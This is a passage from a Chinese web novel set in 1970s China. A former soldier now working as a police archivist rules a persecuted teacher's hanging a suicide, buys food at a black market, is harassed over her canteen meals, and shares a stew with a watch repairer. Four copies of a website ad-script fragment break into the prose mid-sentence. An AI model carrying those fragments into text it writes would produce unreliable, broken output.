等这些检查完,她最后拿起了死者的手,右手的指关节处有明显的带着粉笔灰的老茧,大概用手过度,手指有些变形。
思索过后,她不好妄下结论,便问:“闫股长,你们这边有什么疑问?”
闫股长摸了摸头:“小余那边还在勘察现场。我们主要还想知道他到底是自杀还是他杀。”
涂翡点头,思考着开口:“他不是被人勒死的。”
詹乐贤想说什么,被马所长拦住了,他示意涂翡继续说。
涂
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
翡开口:“这勒痕的位置不对,要是被勒死的,应该有绳索交叉的痕迹,不然很难用劲儿。
而且,要是被人勒死,他肯定有挣扎的痕迹,人在濒死的时候会爆发很大的力气,脖子上会有抓痕,指甲缝隙不会那么干净。他的衣服很整齐很干净,容貌头发死前刚打理过。
倒像是一个赴死者。”
“真是自缢身亡的?”闫股长感叹。
詹乐贤青筋暴起,眼神有些血丝:“怎么可能!只有一人高的衣柜,怎么可能吊死人!”
他看向涂翡,据理力争:“就凭这些你就能判定他不是被人勒死的?万一他是被杀的,放任凶手逍遥法外你负责?你凭什么认为”
“我负不了责,我也说了我不专业。如果你问我,为什么知道他不是被勒死的,我可以告诉你,因为我见过被勒死的人什么样。或者说”
涂翡打断詹乐贤,看着他,说得很清晰:“我勒死过,人。”
詹乐贤闭上了嘴,一股寒意从脚升到头顶。
沉默了几秒,涂翡耸耸肩,补充:“在战场上。”
.
一直到下午,涂翡才知道这案件的始末,死者孟修是一名高中语文老师,被学生们举报,罪状陈列了满满一页。因为这人始终不认错,被移交给了政保股。
政保股组织了群众,开了反省大会,意在改造顽固分子和情节严重分子。孟修已经负隅顽抗好几天,但在昨天,他已经按照罪状书认罪,在群众面前反省认错了。
没想到,今天政保组的人去找他的时候,发现人死了。
吊死在了衣柜上。
那衣柜不到两米,在顶端有四个雕刻的小角,孟修把绳子挂在了那个角上,人就这么吊死了。詹乐贤觉得是他杀,因为政保股的人进屋时,看见孟修的双腿弯曲着,脚尖拖在地上。
但凡他不想死,踮踮脚就没事了。但他偏偏就这么死了。
很难想,一个人下了多么大的赴死的决心,整个过程没有一丝反悔。
所里这一天都很沉默。
涂翡在档案室看到过《关于在文化运动中防止自杀事件的通知》,时66年发布的通知。没想到今年,依旧有这样的事情发生。
哪怕有涂翡简陋的‘尸检’,但此案依旧没结案。
治安股的小余带着勘察箱,仔细检查过绳索上的指纹和屋里的脚印指纹情况。好在詹乐贤虽是学生出身,但到底也认真了解过警局的工作,他拦住了其他人进屋,没破坏现场。
所里情绪很低沉,哪怕是政保股的人都不像以往那样干劲十足了,经历过伤痛,还能保持革命热情的人,只是少数。
一直到周六晚上,涂翡送文件回档案室的时候,看到了刘莉,进她办公室里聊了会,这才知道要结案了。
小余是以前镇北派出所老警员的徒弟,本就是要进派出所的。结果老警员都去学习班了,他因为没入职躲过一劫。现在人在治安股,但基本负责所里的刑侦事件。
他勘测过现场,没有其他人的痕迹,符合自杀的情况。其他警员则询问了周围的居民,孟修家里现在只有他一人。
当天并没有其他人进出,哪怕是革命的学生,在孟修交给政保股后,也没有再上门找过他。
12. 黑市 涂翡心情有点沉重。
涂翡心情有点沉重。
她一直觉得自己的情绪和这个世界隔着点什么。
哪怕是面对梁玉秋,十分的情绪,她好像只能体会到三分。
但现在来看,被隔着的,更多是好的情绪,比如欢快、感动、遗憾。
像是这种关于整个社会的阵痛和伤痕,还是会单刀直入地刺痛她。
她也许无法共情孟修,但却为这种,人力无法阻止的悲剧感到沉闷。
回了档案室后,她歇了会。想到明天放假,起身扫了一遍地,拿着水盆出了档案室。
派出所打水有两个地,一个是食堂,可以打喝的热水;另一个地方是洗手间,平时洗手,打扫卫生。
涂翡走进洗手间,没想到里头有人,是詹乐贤。
詹乐贤双手撑着池子边缘,弓着腰低着头,听见人来,他打开水龙头,捧着水洗了把脸,接着若无其事地站起了身。涂翡在镜子里看见了他沾满水珠的脸,他的眼睛有些泛红。
看见是涂翡,他表情更不好了。
转过身恶狠狠地瞪了涂翡一眼,走了。
涂翡偏过身给他让路,看他出了门,涂翡不可思议道:“哭了?!”
詹乐贤脚步一顿,很努力才克制住回洗手间算账的想法。
他摸了把脸,又是那个意气风发的詹委员。
.
这个周末涂翡本想去看一个战友亲人的。他们这批去越南的军人,都是自主报名,大家来自五湖四海,一个连队的不多。
像是和她从新兵连就认识、一路到侦察大队、越南战场的人只有一个,李步潇。
他在去年阵亡了。
因为是老乡,又是朋友,他们答应彼此照顾亲人。
他是离异家庭的孩子,跟妈妈一起生活。不过他并不担心他妈,据他说那是一个相当独立自由的女子,涂翡关注一下就行。
他要涂翡帮他照顾一下弟弟,他弟弟比他小了四岁,跟父亲生活。
他父亲后来又结婚了,生了几个孩子,对这个弟弟并不上心。而他弟又是个性子腼腆乖巧的,他怕他受欺负。
如果阵亡的是涂翡,对方也会帮她照顾老涂。
战场死伤的战友很多,有时候还来不及问,人就没了。他们队里有个人交友比较广,一个人存了三封遗书。可惜这些遗书还没寄出,就随着他在炸弹中灰飞烟灭了。
但因为是回来后的第一个周末,她的事情有些多。生活中缺的东西得买,家里她也想大扫除一番,除此之外,她还想去找找门路,看能不能买些粮食。所以去探望这事只能往后推迟了。
老涂存货的情况并不乐观,钱、票、粮本、副食品本,能从正规渠道买的他都跑了一遍。
干菜从不同商店买,不过买了个40多斤。反倒是肉,虽然副食本定量一人一斤,但今年的江城猪肉供应比预计充足,有时候不用本也能买到。
就是不好抢,幸亏老涂人脉广,他认识公社割肉匠的老父亲,每次有不要票的,人家会给他留。
最难买的就是粮,定量30斤,能买到28斤就不错了。多的没有,稀缺。
商店也空荡荡的,特别是正经吃食。不跑这么多家老涂还没察觉,今年各个商店缺货缺得厉害。
镇北公社属于城市边缘,郊区和农村常有人偷偷来这里卖东西。
黑市肯定有,但藏得很严,根本不会让他们信不过的人接触到任何黑市的信息。毕竟投机倒把是重罪。这事没法问,连累人不说,一旦被人举报,会被拉去游街,严重的还会被枪毙。
涂翡在周末的凌晨两点钟,悄悄出了门。
新月高悬。
她除了钱票,只带了一个62式望远镜。
这个时间点,外面基本没人,顶多有零星几个人起夜上公厕,咳嗽声、咒骂声、混在踩雪的声音,打破了城市和小巷的静悄悄。
涂翡很轻易就避开了人,她没开手电,一路潜行。
穿过了几条街,到了一处从郊区乡镇通往镇北公社的必经之路。路边有几间闭门的化肥商店,她找了个房顶刚清过雪的,几下就灵活地爬上了房顶。
她藏得好,天也黑,路过的行人很难看见这房顶还藏一个人。
投机倒把的人想要进城,就得偷摸地进。他们来城里得小心,回去也得小心,起码不能等人们都起了再回家,路上碰到熟人不好解释,遇到红袖标那更是完了。
而后半夜最合适,天黑没人,红袖标们也不能天天不睡觉。
城里发的钱票多,但缺粮缺菜。东北农村则地广人稀,物产足,不缺吃的。但别的东西,那是样样都缺,和城里人完完全全一个天上一个地下。
她打算在这守个去黑市卖食物的人。
涂翡猜的没错,她拿着望远镜,借着月光盯着大路,半个小时的功夫,就蹲守到了人。最后她选中了一个看着老实巴交,但鬼鬼祟祟,一看就有些心虚的中年男人。
他那包里装得应该是吃的。
涂翡没直接找上前。
她等人走出了一定距离,才从房顶下来,重新伪装一下尾随了上去。
男人一看就心虚,但这条路应该走过多次。
他七拐八拐的躲着人,最后越过一片小公园,到了个居民稀少的地方。
涂翡记得这边有一个废弃的化工厂,早年发生了火灾。自那之后,化工厂就荒废了下来,这片居民区的工人们因为上班太远,很多人家都随着工厂搬迁搬离了这里。
涂翡以为他会往没有人住的胡同,甚至某个荒废的小院里去。
没想到,黑市在这附近一个废弃的火车桥洞中。就是不知道他们是打一枪换一地,还是固定在这里。
不过不管怎么说,涂翡是找到地方了,就算他们下次换地方,应该也不会离这片太远。毕竟镇北公社内这么偏僻荒凉的地方也不好找。
黑市周围有人放风,涂翡没跟太近,她找了个隐蔽但又不耽误视野的地方,拿着望远镜往里看。
这会黑市里的卖家和买家不多,加上管理人员,满打满算也才不到十个人。
除了放风和收门票钱的,很少有人在里面呆很久,都速战速决。
这黑市也不是你交钱就能进的,还得有熟人领路介绍。
涂翡看了会,歇了进黑市的想法,一是她没有靠谱的担保人,就算有,人家也未必敢做她的生意。二是,她毕竟是个公职人员。干这鸡鸣狗盗的事儿,得背着点人。
也是为了一口吃。
这年头,不动点脑筋,钻点空子,是吃不饱的。
但她会守住自己的
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
底线。
涂翡在远处盯了没多大一会,她跟着来的那个大哥就出来了。不过他那兜子里的东西最多只去了一半。
涂翡琢磨了一下,从另一侧绕路,打算和大哥来个面对面偶遇。
她今天穿的是家里压箱底的破大衣和棉鞋。头上戴的是顶旧狗皮帽子,和雷锋帽形状差不多,只是里头是皮,外面是毛。这是她爸的帽子,从东野到四野,历经百战。
她解开帽子绳,让毛茸茸的双耳垂着,她把帽子戴歪了些,破大衣解开一个扣,咧开点怀儿。
接着,她双手插进袖子,稍微猫着点腰,一下子吊儿郎当的样儿就出来了,和浪荡在村里、大街上的二流子也没什么不同。
江三福是来干“坏事”的,哪里敢打手电,背着包裹借着月光快步往外走。他已经尽量放轻了脚步,但吱呀呀的踩雪声,依旧听的他心里发慌。
他安慰自己,只要走上大路就好了,大路上的雪清得干净。现在也不用怕,反正这片没住多少人,还都是退休的老头老太太,听不见动静的。
这么想着,心刚松了点,没想到胡同迎面走进来一个人。他吓了一跳。
一看对方也没打手电,他心稍安。肯定不是起夜上公厕的人,谁家大半夜蹲茅坑不带手电啊!不怕掉进去?
但随着对方晃晃悠悠的走近,他下意识往边上靠了靠。这不三不四的,瞅着也不像好人啊,和他们村那天天招猫逗狗的二愣子气质有点像。
他可惹不起。
江三福埋头往前,努力降低自己的存在感。
眼看着人从他身边走了过去,他暗自呼了口气。
只是还没等他庆幸,那人在他身后停下来“诶!”了一声。
是个有点低沉有点年轻的男人声音。对方是压着嗓子叫他的,声音有点小。不过这偷偷摸摸的,江三福反倒放心了,他转过身看着带着狗皮帽子的男人小声问:“啥事?”
青年把手往袖子里塞了塞,小声问:“刚出来啊?是吃的不,有没有剩?”
嘿,这不是巧了吗?这也是个去黑市的。
江三福瞅了瞅周围,看没别人,掩着嘴:“松子、榛子、核桃。都是八毛一斤,要是能给点粮票啥的,能便宜点。”
涂翡眼睛亮了。
好东西啊,大补。
这些东西在农村常见,像是松塔,到了收获的季节,漫山遍野。但他们捡来自己吃行,但凡买卖,那就是挖社会主义墙角。
八毛,比猪肉还要贵。但黑市都是这价,食物进来价格就得翻上两翻。
她压了下帽子:“你这太贵了,这玩意还带着壳呢,有多少能入嘴的。你还有多少?都给我吧,你给我便宜点。”
江三福眼睛也亮了,他低声解释:“我这也是冒着风险来的,二十多斤呢,你能都吃下?”
涂翡轻轻拍拍胸口的兜,示意她带着钱:“你说个数,便宜点,要是合适,我都要了。”
江三福一听也挺高兴,他这东西贵,在黑市转了一圈,所有买家都问过了才卖出去十几斤。要是这些能都卖出去,他这一阵子不用跑黑市了。
他想了想,也怕吓走大客户:“我也不要你幌,总共23斤多,我得采80多斤的山货,才能出这些。我按二十斤卖给你。要你16块钱。”
13. 被针对
涂翡没再讲价,她检查了大哥的山货,质量不错,松子也扒得很干净,沾的松油都很少。
她颠颠重量,大差不差。
俩人一手交钱一手交货。
结束一单交易,涂翡把买的东西藏起来,继续盯着黑市。
每当有卖家东西没卖完就出来,她就故技重施,乔装成不同样子上前问询。
快到五点的时候,她收获了一袋坚果、十多斤精米、干菜二十斤、土豆干五斤。
当然,钱也没少花。精米1毛左右的价格涨到了3毛,这还是她用粮票了,没票的价格已经涨到了7毛,和肉一样贵。
一早上,花了23。
涂翡是艺高人胆大,别人来一趟黑市,小心翼翼,生怕被人抓住。她就没这方面的困扰,要是这都能被抓住,她就要成为他们侦察大队唯一的污点了。
涂翡拎着东西回到家,正好到了她晨练的时间。她把东西放进屋,换了衣服出门锻炼。
不仅是因为训练风雨无阻,还因为四邻都知道她早起锻炼,若突然有一天没出门,让人多想。
家中有粮,心里不慌。
.
新一个周一,涂翡是揣着一袋烧好的核桃来上班的。她买的都是生的,松子和榛子目前没条件炒熟,但核桃好办,往还有余火的灶坑里一扔,用炉钩子扒拉着,让它受热均匀,烧个十来分钟,这核桃就熟了。
虽然外壳漆黑,但内在果肉很香。
三样坚果就核桃最少,她装了一袋子放办公室,剩下的都留给老涂下酒了。
刚脱了大衣,政保股的同志就来通知涂翡,今早要来个语录集体大学习。
涂翡嘴上应下,心里忍不住琢磨,这詹委员还真有活力。
明明前天还哭呢,现在又斗志满满了。
她以为所里能清净一阵子了呢。
学习地点在二楼的会议室,食堂楼上。会议室里面也放了很多桌椅,最前面有黑板和讲台,黑板上方贴着画像和标语。
李婶已经到了,她就坐在第一排,还给涂翡留了坐。
再次看见詹乐贤,这人已经恢复那股意气风发的劲头了。他拿着语录在前面领读,其他人在下面跟读。有时候会停下来,讲些感悟,互相交流。
涂翡也被詹乐贤点名了,她虽然初中毕业就去当兵,但也不是个大老粗。她以前的成绩好,全校第三是她最差的成绩。
要不是被特招走,她大概也是要考大学的。
而且她对语录并不陌生,军队内部的‘兵法’她也没少研读。
因为对答如流,她并没有察觉到自己被詹乐贤针对。
直到中午打饭的时候。
今天中午有个不错的荤菜。涂翡将饭盒递给李婶:“一份猪肉炖粉条、一份茄子干、一份酱豆腐。五两杂粮饭,一个二和面馒头。”
李婶现在越来越喜欢涂翡了,说话好听,吃饭还香。她刚将饭盒底部填满米饭,就见詹乐贤踱着步过来了。
他看着李婶手里的饭盒,脸上带着笑,就是看起来有点假。
“涂档案员,胃口很好啊!七两主食,我第一次看到饭量这么好的妇女。”啧啧,七两主食,煮熟那至少得九两了吧?快一斤了!
正往外拿票的涂翡动作一顿:“毕竟我是行伍出身。这没什么稀奇的,所里大部分人都有这个饭量。”
詹乐贤没再揪着性别不放,脸上的假笑一点没掉:“可你现在是文职啊!粮食短缺,有时候咱们得适当降低标准,让一线工作的警员们有充足的供给。
主食多些就算了,三个菜就有点太奢侈了。李婶,猪肉炖粉条就不用了。你看咱们这么多一线警员呢。”
他加重了奢侈这两字。
涂翡扯了扯嘴角,语气平静:“詹委员,食堂每一顿的饭菜都可以保证所有警员吃饱。如果为了节约把这些饭菜都剩下,那才是得不偿失。李婶,你给我打吧,要是哪个警员没吃饱,可以找我,我请他吃饭。”
她话都这么说了,詹乐贤自然没法再阻挠。倒是李婶担心地看了涂翡一眼,给涂翡打了菜,不过因为詹乐贤在,她没给涂翡多加菜汤。
就俩人交锋的功夫,身后已经排了几个警员。听了涂翡的话,没人敢应声:先不说涂档案员不是个好惹的性格,这得多大脸啊,敢找人家请吃饭?
就是相熟的人家请吃饭,你都得带上粮票。
涂翡来所里后,和一线警员们没什么接触。她没法参加他们的日常训练,平时接触的机会很少。但出奇一致的,所里大部分的警员对涂翡有个相当一致的初印象。
这人肯定不是什么和软人。
首先她工作寸步不上,相当冷硬。
其次……她会尸检。
差点直接上手扒拉尸体,没有一点忌讳。
一个姑娘,看到尸体一点不害怕,这还能是好惹的人?
鉴于她是个有军功的退伍军人,所里各个在役军人针对她做了各种各样的不靠谱猜测。
对于涂翡的尸检、和詹乐贤的争吵,所里三位最高领导倒是没说别的,但闫股长把涂翡不戴手套要摸尸体这事,当反面教材给治安股的警员们上了一课……
对于詹乐贤的针对,吃到猪肉炖粉条的涂翡并没有生气。
于是,吃得很香的涂翡又迎来了政保股接二连三的针对。
政保股倒也没做什么,就是每当涂翡打饭的时候,就有人在旁边记录涂翡的食谱,然后简单‘引导’或者‘威胁’一下她,说她大吃大喝,注意千万别被某阶级的思想腐蚀。
涂翡被针对的第一天该吃吃该喝喝。
于是,第二天就被马所长谈话了。
马所长主要是劝她别和政保股作对,别被抓住把柄。
反正就是少吃几顿饭的事!
涂翡没有生气,就是相当不解。她觉得政保股的针对相当没有技术含量。难不成詹乐贤真为她那句‘哭了’生气?
这人虽然看着心眼不大,但应该不是个公报私仇的小人啊。
别管詹乐贤是不是公报私仇,政保股这一周,确实把革命工作的重心都放在了内部审查上。每天组织大家学习,批评和自我批评,从内部找寻资本主义复辟的线索。
渐渐地,涂翡有点琢磨过味来了,这内部审查……有点雷声大雨点小啊。
反正政保股不像之前那般雷厉风行地定罪名了。詹乐贤需要革
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
命工作的靶子,加上点私人恩怨,她大概就这么被针对了。
被马所长谈话的涂翡素了几天,没吃饱。
谈不上生气,但没吃饱。
原本长了些肉的脸上又浮现了些许菜色,涂翡是这么认为的。
实际上只是她的增重暂停了。
又是周四,涂翡中午一进食堂,就看见政保股的小警员拿着个本子等她,手上没忍住一个用力。
用力到一半,她赶紧松手,只见铝制饭盒上清晰印着几个指印。
她这回,确实感受到情绪波动了。
小警员看着变形的饭盒,抱着本子默默低头。
涂翡看着他,语气依旧平静:“跟你们詹委员说,赔我个新饭盒,这点事还让组织报销,不好。”
“……是。”
涂翡将变形的饭盒,放到他的本子上:“这个你们看着处理吧。”
她转身出了食堂。
而某个被特殊盖章的饭盒在食堂里被‘传阅’了一遍后,放在了詹委员面前。詹乐贤咽了下唾沫:“这点儿事,咳,就不麻烦组织了。”
涂翡出了派出所大门,才发现自己没穿大衣。但她火气足,新棉袄又很暖和,便直接回家了。本以为能搞个突袭,看看老涂中午都吃些什么。
结果家里没人。
涂翡叹了口气,心中只有一个想法,她想吃肉。
镇北公社内有一家国营饭店,但她也不能因为在食堂吃不好,就跑出来下馆子。要是被政保股的人知道,肯定会上纲上线。
但家里也不适合炖肉。在食堂都有詹乐贤看着呢,更何况这家家户户都没有秘密的胡同。谁家没菜吃,光是闻着邻居家的味,就能吃下一碗杂粮饭。
琢磨了会,涂翡想到一个好地方——黑市附近的那个废弃化工厂,那里面积大,空旷,没人。都在镇北公社,也远不到哪去。
这么想着,她进了下屋。运气不错,在存冻货的大缸里,她翻出来一块还没冻实的五花。应该是老涂上午买的,扔进缸里没多久。
确定有出门吃肉的条件,她先把警服和新棉袄换了。
涂翡在厨房找了个不大的瓦罐,洗刷干净,把五花肉切成块洗干净扔里,又往里面放了盐、酱油、白糖、干辣椒、白酒,最后还滴了几滴素油。
奢侈!
她会做红烧肉,但今天条件也不允许,老涂也没有买八角的习惯。不过,就这么干炖她也爱吃。
直接在瓦罐加上热水盖好盖子,用网兜装好。她提起来试试,有点沉,但对她来说没问题,她不会让它撒出来一滴。
除此之外,她还用一个袋子装了小马扎、火柴、碗筷、一把粉条。
准备好东西,为了不暴露警员身份,她依旧戴了那顶狗皮帽子,和老涂劈柴穿的破大衣很配。
前往废弃化工厂的路上,涂翡把脸埋在了狗皮帽子里,就算有认识的人经过,也没认出来她。
化工厂大门是锁着的。但红砖墙有的地方倒塌了,可以直接迈进去。
涂翡沿着化工厂外部勘察了一遍,发现了少许不太明显的人类痕迹。
风雪太大,她很难推测时间,有可能是进来偷废铁的。
14. 别笑了,很假
经历了漫长的冬天,化工厂里面的雪很厚。而涂翡的目的地,是化工厂最中间的废弃厂房。
积雪上难掩痕迹,她干脆倒着走,边走边踢散了脚印。
雪快淹没膝盖了,也就她腿长,不然在这雪里走路都得扯到胯。她双手都拎着东西,为了让瓦罐远离雪面,她只能抬高双臂,一步一步踩过去。
从远处看,像个摇摇摆摆的企鹅。
穿过雪路,涂翡走近后才发现厂房有一大半都被烧毁了,她索性踩着废墟往里走了一段路。
很幸运,厂房内部除了窗户漏风,其他的地方还算完整。
有利用价值的机器不管好坏都被带走了,剩下的废铁不多,地上的破烂大部分是成堆的木条。
涂翡找了片干净背风的空地,把东西放下后,赶紧脱鞋倒雪,雪太厚,不管穿什么鞋都没用。她把脚脖裤脚里窝的雪清理干净,才把脚重新塞进鞋里。
行,废了这老大劲儿,今天不把这一瓦罐的肉都吃了,她是不会去上班的。
正好找点借口,让政保股的人别总盯着她。
她撸了撸袖子,就地取材,找了几块废铁和一堆方便点火的木头,太长的她就用脚踩着咔嚓掰折。
涂翡的野炊还算顺利。
她将废铁组合着在地上搭好,正好能将瓦罐架上面,底下还留出空儿来烧柴。几根细木头交错着摆在瓦罐下,缝隙里塞了些碎木屑,火柴一引,火堆就燃了起来。
涂翡支着小马扎,坐在火堆边烤火。
瓦罐里水本就是热的,涂翡的脚刚烤热,这汤就咕嘟咕嘟地开了。她掀开盖子,那筷子搅了几下,香味扑面而来。虽然顺序方法不太讲究,但里面可放了酱油和三滴素油!
与此同时,在化工厂大门附近,有两个看起来不太正经的人正在进行某种见不得光的交易。
这是池步湘和镇北公社黑市管理员王建设惯常见面的地方。
池步湘懒散地靠在那,一条长腿曲起踩在墙上,虽然盘靓条顺,穿戴齐整,但和王建设站在一起,那扑面而来的二流子气息让人退避三舍。
王建设咧着怀,狗皮帽子歪歪扭扭地戴着,嘴里叼根烟,和涂翡那早的形象有异曲同工之处。
他吐了口烟圈:“这次一共几块?”
池步湘:“三块,吃得下吗?”
王建设眼睛亮了:“我谁啊,还能吃不下?你给我多少我都能吃下!快给我看看货!”
池步湘解开大衣,正要往外拿,突然闻到化工厂里面传来一股香味。
他抬头看过去,想起了他藏在工厂里的两辆报废自行车,有点担忧。
他计划淘换几辆废车,把好的部分拆下来,攒出来一辆‘新’车,这样花的钱少,还不用票。
但因为无论是零件还是车都不好淘换,他就把车藏化工厂里了。
王建设看他神色不对劲,赶忙问:“咋了?货丢了?”
“没有。”
池步湘收回视线。
他手伸进怀里,摸着几块表,犹豫片刻只拿出来了两个:“忘家里一块。”
两块表,一块皮表带的东风牌腕表,一块是只能从表盘上看到‘中国制造’这四个字的金属链条腕表。
都不是新表,表面上有无法修复的划痕。但成色还不错。
王建设感叹一句,把表接了过来:“哎,你这记性,还大学生呢!”
“现在不是了。”
王建设调着时间,耳朵凑到表上听了听动静,他不会修,但和池步湘做多了这样的事,他起码能判断这表修没修好,坏到了什么程度。
王建设是池步湘刚上大学那会认识的,大概是彼此流氓的气息明显,在镇北公社内见过几次面,俩人便联系上了。
池步湘开启修表事业,是因为王建设收表被骗,池步湘试着帮忙,结果试出了一条可长期发展的致富途径。
开始生意并不好,就是这两年,个人修表店关门,这废弃手表就好找了。
不止是坏掉的,还有些国外的手表,旧货店和废品站都堆积了不少,但没人敢买。
这块金属链的就是个瑞士表,虽然很旧了,但表芯依旧很准,池步湘给表盘上的外文糊掉,刻上了中文。
王建设满意地收好,从口袋里掏钱:“这两块成色差点意思,给你90,实在价。你不是说你收了一块蓝色表盘的?那个型号我问了,你修好了给我,我至少能给你120!”
那款表稀少好看,还有什么减震功能,他给池步湘120,但他往外卖,至少能卖200。
池步湘把钱收好:“那块表修不好。”
王建设带着可惜走了。
池步湘看着他的身形消失,才直起身,他仔细闻了闻,没刚才味道那么重,但依旧有香气——他的嗅觉,极其敏锐。
池步湘站在破损的红围墙跟前,做了很多的心理建设,才把脚踩进厚厚的雪层,当冰凉的雪钻进裤脚,透心凉。
他有点无语,这哪位神人啊,难道跑进来就是要炖肉的?
他那两辆自行车放进来的时候,这雪可没这么厚。
要不是担心那两辆一成新的自行车,他这辈子都不乐意遭这罪。
涂翡看着火苗,想着孟修那个案子的细节。治安组的小余是个人才,经过现场勘察,他还原了孟修的行为流程。配上她那不怎么专业的尸检报告,周一结案报告就交到她手里了。
为了让这份尸检报告不出错,她从档案室翻出来两件上吊的案子,对比着验尸报告,又排查了一遍。孟修确实是自杀。
这几天,她在整理档案之余,也会找些陈年就案来看。
倒是有些收获。
如果不是精神有问题,她大概是乐意做刑侦工作的。
想着想着,思绪就发散了,脑子不听使唤地冒出各种各样的尸骸。
她无法控制,那些一辈子都忘不掉的画面反复在脑海中闪现。
池步湘脚程没涂翡快,等他走到厂房废墟处,裤脚已经都湿了。他赶紧将雪拍打掉,但脚脖子已经又疼又痒了。他啧了一声,这神人,还真是找了个隐秘的地方。
他那车就在里面。
厂房四处漏风,呼啸着的风声掩盖了他轻微的脚步声。
直到咕嘟咕嘟炖肉声在不远处响起,他无由来地生起一股不安。
他靠在
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
拐弯处的墙上,一时犹豫,是否要和里面的人直接对上。
但显然,决定权并不在他手上。
他正想着,余光里‘嗖’地闯进一道黑影,池步湘陡然回神,猛地看过去,但还什么都没看清,人就被抵在了墙上。
来者的狗皮帽子压得很低,他看不清他的脸。
直到那凛冽的味道传来,他心神一颤,是她?几乎是下意识的,他收起了所有反抗动作。
他嗅觉敏感,常能捕捉到常人闻不到的气味。这个女人让他印象深刻,除了对方救了他之外,还有那身凛冽的‘冷’味和有些呛人的‘烟花’味,很特别。
涂翡手臂抵住池步湘的脖子,低声问:“干什么的?”
她虽迷失在那些诡谲残酷的画面中,但有些事已经成了本能,当这人踏上废墟的那一刻起,她便从那画面中抽离,开始了她的狩猎。
“这是你第二次按住我了。”
清澈如水击玉石般的声音响起,低沉悦耳,只是尾音上扬,自带一股轻佻的痞气,听得根正苗红的涂翡想打人。
这只是一种比喻,涂翡自觉不是用暴力解决问题的人。
光听这慵懒而不正经的语调,涂翡就知道是谁了,她抬起头,一双犀利的鹰眸盯紧了池步湘。
池步湘心里一紧,人却已经笑了起来:“又见面了!”
他微微低头,看着涂翡,由着她把自己怼到墙上。
那双含情的桃花眼带着笑,左眼眼尾处的双眼皮褶里,有一颗小小的红痣,因为藏得隐秘,只有在特定的角度才能看见。
涂翡看着这双眼睛,总觉得有些熟悉。但还想细看,就被那颗清冷又美艳的红痣吸引了视线。
她勾了下唇角,将人松开,后退了一步:“你叫什么?”
她想起来了,是李步潇的眼睛。
她曾经给李步潇的弟弟寄过一封信,只是战场上信件不通畅,她没收到回信。算算年纪,也不无可能,只是可能性太小。
李步潇的弟弟可是个乖乖崽。
之所以觉得熟悉但想不起来,是因为李步潇的眼睛正气凛然,而这人的眼睛太过漂亮,虽不带一丝女气,但却让人下意识和一个词联系起来,美艳。
完全两种气质。
被松开后,池步湘也没站直,他只是用手肘撑着墙壁,上身往前探了些,听见涂翡这么问,他脱口而出:“何玉疆。”
等反应过来已经来不及了,他没想隐瞒,这主要,是个习惯问题。他来不及懊悔,眼角依旧带着痞笑:“能知道你的名字吗?”
听名字对不上,涂翡一点不意外,她只是习惯了不放过任何可能:“徐磊。”
做坏事的时候,哪能说出真名呢。涂翡一点没觉得不对。
这是第二次见面。
她知道何玉疆长得好看,但他的笑让她觉得欠揍,配上那上扬缱绻的语调吊儿郎当的作风,更让她觉得手痒,大概是教训那些兵痞教训习惯了。
就像是一块美玉沾染了脏污,有了裂痕。
那笑太假,没法遮掩眼底的倦怠。
大概是这矛盾感太强烈,涂翡忍不住开口:“别笑了,很假。”
15. 一起吃点吧
池步湘瞳孔地震,片刻的僵硬过后,收起了轻浮的笑脸。
涂翡没问他是怎么发现自己的,她其实没做得多隐蔽。没想到吃个肉这么波折,为了减少事端,涂翡决定拉个共犯:“一起吃点吧。”
大不了她吃得快些。
池步湘也不知怎么,就坐下了。在这个食物就是命的世道。
他没有小马扎,就扯过来一块木头,坐在上面。大概是看出涂翡很讨厌他浪荡的做派,他就曲着腿端正地坐在那儿。
他看着火堆,从涂翡的角度看他,莫名有些乖巧可怜。没了那副吊儿郎当的样子,倒是顺眼了很多。
涂翡掀开锅盖,搅动了下。
池步湘看着瓦罐:“你只煮了肉?”
涂翡点点旁边的袋子:“还有粉条。”
“哦。”
池步湘想了想,站起身:“你等我一下,我去找点东西。”
王建设家就在工厂后面,反正那肉看着刚下锅也没多久,来得及。
涂翡盯着雪进雪地的身影,一阵沉默。
应该,不是去举报她的吧?
涂翡以己度人,大概没人能拒绝一顿肉。而且,若他没安好心,也不用怕。这化工厂空旷,她能在对方来之前,护着瓦罐逃走。
她不再想案子,只盯着瓦罐上方的热气看,闻着香味,似乎已经看到肉炖得软烂颤颤巍巍的模样。
池步湘就没这么拼命地跑过,腿刚用力拔出雪窝,又要踩出下一个半米深的脚印,连带着这辈子再也不来遭这罪的话一起,被他踩在了雪地里。
事实证明,再好看的人在雪地里前行都很滑稽。
池步湘没让涂翡等多久,也就十几分钟的样子,他带着一身冷气,重新坐到了涂翡对面。
涂翡往火堆里添了一块柴:“雪,扫一下雪。”
池步湘将裤脚里的雪清理干净,脱了手套:“徐磊,你猜我带了什么?”
依旧是上挑的尾调,但这次只有青年人的活跃,而非轻佻。
涂翡看着他略鼓的口袋,瞄着里面的形状,想了想:“干豆腐。”
池步湘有点震惊:“你怎么知道的?”
“猜的。”涂翡声音里带了一丝不易察觉的笑意。
池步湘也笑,他把口袋里用草纸包着的干豆腐拿出来,递给涂翡:“厉害!这东西炖肉好吃,我本想带些土豆干的,但那个吸水,你瓦罐里的汤不够。”
干豆腐也不好找,和鲜豆腐一样,每家每人定量供给。见惊喜没了,他也不失望,从怀里掏出来一个布团,小心拆开:“干豆腐不是重点,这个才是!”
他献宝一样将手绢摊开,递到涂翡跟前。
涂翡这回是真惊讶了:“大料!”
池步湘满意地看着涂翡的反应,将大料扔进了锅里:“对!用这个,肉不柴。”
“你还懂做饭?”她将手套摘了,将干豆腐撕成小片扔进了锅里。
“会一点。”
池步湘没想到会再见涂翡。
而此刻,隔着氤氲的蒸汽,她就安静地坐在对面。
今天的她似乎更破马张飞一点,破大衣和狗皮帽子,很接地气。
那混乱的一天中,他对她唯一的印象就是疯。但不可否认,那双犀利的眼睛和她的疯儿劲让他印象深刻。
但直到现在,这个女人的印象在他眼中才真的立体起来。
因为那句很假,池步湘收起了那副流里流气的模样。年轻漂亮的小伙子只安静地呆着,就让人心生愉悦。
